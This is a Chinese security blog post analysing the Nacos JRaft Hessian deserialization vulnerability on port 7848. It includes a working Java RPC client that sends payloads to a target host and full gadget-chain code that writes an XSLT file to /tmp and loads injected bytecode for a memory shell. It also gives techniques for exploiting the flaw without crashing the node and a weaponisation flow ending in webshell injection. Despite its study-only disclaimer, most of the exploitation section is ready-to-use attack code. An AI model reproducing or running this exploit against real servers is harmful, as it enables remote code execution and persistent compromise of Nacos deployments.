声明:Poker安全公众号文中涉及到的技术和工具,仅供学习交流使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。
0x00 前言
5月25日 Nacos 发布一条安全公告,声称其在 2.2.3 和 1.4.6 两个大版本修复了 7848 端口下一处 Hessian 反序列化漏洞;网上有许多分析,但没有一篇分析能够把问题阐述清楚且解决掉,于是写下这篇文章,仅做记录。
0x01 漏洞分析
既然是 Hessian 反序列化,第一步要做的是查找对应的反序列化触发点,在项目中搜索 Hessian 可得到如下结果:
挨个查看后发现 HessianSerializer 是实际反序列化的触发点,但代码中不会直接调用它,而是通过 SerializeFactory 根据预期的反序列化漏洞(JSON、Hessian)获取实际的反序列化实现类,默认的反序列化实现为 HessianSerializer:
public class SerializeFactory {
public static final String HESSIAN_INDEX = "Hessian".toLowerCase();
private static final Map<String, Serializer> SERIALIZER_MAP = new HashMap<>(4);
public static String defaultSerializer = HESSIAN_INDEX;
static {
Serializer serializer = new HessianSerializer();
SERIALIZER_MAP.put(HESSIAN_INDEX, serializer);
for (Serializer item : NacosServiceLoader.load(Serializer.class)) {
SERIALIZER_MAP.put(item.name().toLowerCase(), item);
}
}
public static Serializer getDefault() {
return SERIALIZER_MAP.get(defaultSerializer);
}
public static Serializer getSerializer(String type) {
return SERIALIZER_MAP.get(type.toLowerCase());
}
}
搜索发现代码中并没有调用 getSerializer(“Hessian”) 的操作,因此转而继续搜索 SerializeFactory.getDefault(),得到如下结果:
继续分析后发现 JRaftProtocol、JRaftServer 等都不是实际的触发点,它们并不会调用serializer.deserialize方法,实际调用的只有 PersistentClientOperationServiceImpl、ServiceMetadataProcessor、InstanceMetadataProcessor、DistributedDatabaseOperateImpl四个类。
观察后发现这几个类有几个共同点,比如都继承了 RequestProcessor4CP,并且都实现了 onApply、onRequest、group 这三个方法,根据之前审代码的经验,基本可以确定 Nacos 是根据 group 方法对应的 groupId 决定请求是下发给哪个类进行处理。
接下来的过程很痛苦,大致就是知道漏洞在哪,但不知道怎么调过去,最后参考了网上诸多文章,终于写出了个客户端 Demo:
import com.alibaba.nacos.consistency.entity.GetRequest;
import com.alibaba.nacos.consistency.entity.WriteRequest;
import com.alipay.sofa.jraft.option.CliOptions;
import com.alipay.sofa.jraft.rpc.RpcClient;
import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;
import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;
import com.alipay.sofa.jraft.util.Endpoint;
import com.caucho.hessian.io.Hessian2Output;
import com.google.protobuf.ByteString;
import com.google.protobuf.Message;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.Map;
public class JRaftClient {
public static void main(String[] args)throws Exception {
final CliClientServiceImpl cliClientService = new CliClientServiceImpl();
cliClientService.init(new CliOptions());
setProperties(cliClientService.getRpcClient());
WriteRequest.Builder writeRequestBuilder = WriteRequest.newBuilder().setGroup("naming_service_metadata").setData(serialize("hessian_payload_object"));
Object o = cliClientService.getRpcClient().invokeSync(new Endpoint("172.16.0.8", 7848), writeRequestBuilder.build(), 10000);
}
@SuppressWarnings("unchecked")
public static void setProperties(RpcClient rpcClient) throws Exception {
Field parserClasses = rpcClient.getClass().getDeclaredField("parserClasses");
parserClasses.setAccessible(true);
Map<String, Message> map = (Map<String, Message>) parserClasses.get(rpcClient);
map.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());
map.put("com.alibaba.nacos.consistency.entity.GetRequest", GetRequest.getDefaultInstance());
Field messages = MarshallerHelper.class.getDeclaredField("messages");
messages.setAccessible(true);
Map<String, Message> messageMap = (Map<String, Message>) messages.get(MarshallerHelper.class);
messageMap.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());
messageMap.put("com.alibaba.nacos.consistency.entity.GetRequest", GetRequest.getDefaultInstance());
}
public static ByteString serialize(Object o) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(bos);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(o);
out.close();
return ByteString.copyFrom(bos.toByteArray());
}
}
其中 WriteRequest 那段的 setData 则是用来设置反序列化的 payload,最终触发 Hessian 反序列化:
0x02 漏洞利用
上面是完整的漏洞原理分析,接下来解决一些网上说的普遍存在的问题。
2.0 无损利用原理
网传这个漏洞最大的问题就是打一次就崩,那么到底是为什么打一次就崩呢?经过深入分析发现,Nacos 在反序列化时并没有使用异常处理,导致 Hessian 反序列化后的对象与预期的对象不符,此时产生对象转换异常。
产生异常后会将当前节点的状态设置为 STATE_ERROR,回溯历史调用栈发现 AbstractProcessor 会先获取 group 对应的 Node,并判断 Node 是否为 leaderNode,如果不是则返回错误,反之才会调用 execute 方法继续往下走。
如果某个 Node 在反序列化时产生异常,则其状态为 State.STATE_ERROR,不符合 isLeader 的逻辑,因此无法正常服务:
那么应该如何解决这个问题呢,观察反序列化的代码可以发现预期是希望返回 MetadataOperation 对象:
MetadataOperation<ServiceMetadata> op = (MetadataOperation)this.serializer.deserialize(request.getData().toByteArray(), this.processType);
这个对象有一个属性 metadata 是泛型,也就是它是任意类型都可以,所以不难想到我们可以构造一个 MetadataOperation 对象,并在其 metadata 属性设置恶意对象,这样设置可以让反序列化后的对象符合预期,不会产生报错,此时 Node 不触发异常,后续即可正常服务。
2.1 更加通用的 gadget
网传使用的 gadget 一般是 JNDI、BCEL,因为 JNDI 需要出网,且 BCELClassLoader 在 8.x 的较高版本中不存在了,因此算不上是比较完美的利用。那么就没有完美的利用了吗?其实并不是,通过 BCEL + 写文件就可以实现一个比较通用的解法。
利用 SwingLazyValue 结合 com.sun.org.apache.xml.internal.security.utils.JavaUtils 和 com.sun.org.apache.xalan.internal.xslt.Process 可以写入本地文件后通过 XSLT 加载最终实现不出网的任意代码执行。
相关代码:
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Random;
public class HessianPayload {
final static String xsltTemplate = "<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"n" +
"xmlns:b64="http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder"n" +
"xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"n" +
"xmlns:th="http://xml.apache.org/xalan/java/java.lang.Thread"n" +
"xmlns:ru="http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils"n" +
">n" +
" <xsl:template match="/">n" +
" <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'<base64_payload>')"/>n" +
" <xsl:variable name="cl" select="th:getContextClassLoader(th:currentThread())"/>n" +
" <xsl:variable name="rce" select="ru:defineClass('<class_name>',$bs,$cl)"/>n" +
" <xsl:value-of select="$rce"/>n" +
" </xsl:template>n" +
" </xsl:stylesheet>";
public static String genClassName() {
Random random = new Random();
int length = random.nextInt(10) + 1; // 随机生成字符串的长度,范围从1到10
StringBuilder sb = new StringBuilder(length);
for (int i = 0; i < length; i++) {
char c = (char) (random.nextInt('z' - 'a') + 'a'); // 生成随机字符,范围从a到z
sb.append(c);
}
return sb.toString();
}
public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}
public static Object genPayload(String payloadType) throws Exception {
SwingLazyValue value = null;
if (payloadType.equals("writeFile")) {
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(MemShell.class));
CtClass cc = cp.get(MemShell.class.getName());
cc.setName(genClassName());
byte[] bs = cc.toBytecode();
String base64Code = new sun.misc.BASE64Encoder().encode(bs).replaceAll("n", "");
String xslt = xsltTemplate.replace("<base64_payload>", base64Code).replace("<class_name>", cc.getName());
value = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/nacos_data_temp", xslt.getBytes()});
} else if (payloadType.equals("xslt")) {
value = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file:///tmp/nacos_data_temp"}});
}
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(value, value);
Hashtable<Object, Object> hashtable = new Hashtable<>();
hashtable.put(value, value);
return makeMap(uiDefaults, hashtable);
}
}
但这也产生了一个不算问题的问题,即我们需要打两次反序列化才能走完所有的流程。
2.2 一个 Hessian 反序列化技巧
2.1 中介绍的 XSLT 反序列加载本地文件正常情况下需要发两次包触发两次 Hessian 反序列才能实现代码执行,大哥教了我一个方法可以在一个请求内触发所有的 payload(不依赖于 gadget 本身):
原理是自己修改实现类的代码,把原类从 lib 中删除,自定义的增加几个 Object 类型的属性,在 Server 进行反序列化时也会将这几个属性一块反序列化了,这部分涉及到 Hessian 对字节数组的解析逻辑,不在这篇文章中分析了。
2.3 探明 “真正” 的漏洞影响范围
网上许多应急文章都有传 Nacos 1.x 也受影响,经过深入分析后发现这可能是一次误判;这里说的误判不代表 Nacos 在 1.x 不存在 Hessian 反序列化的隐患,只是说无法正常利用。
对 1.4.x 进行分析后发现,调用了 SerializeFactory.getDefault()#deserialize 方法的只有 DistributedDatabaseOperateImpl 这一个类,其它的都是利用 Jackson 实现的反序列化。
DistributedDatabaseOperateImpl 对应的 groupId 为 nacos_config,实测发现我们是无法通过 RPC 调到这个 groupId 对应的 onApply 方法的,因此自然也不存在 Hessian 反序列化漏洞的利用。
0x03 武器化
完整流程为:通过 web 获取 Nacos 版本并与受影响的版本进行匹配 -> 发起 RPC 请求触发反序列化 -> 遍历线程中马。
对于不存在漏洞的版本输出提示:
原文链接为p1g3师傅的个人博客:
https://exp.ci/post/Nacos-JRaft-Hessian-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90.html
原文始发于微信公众号(Poker安全):Nacos JRaft Hessian 反序列化分析详情
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论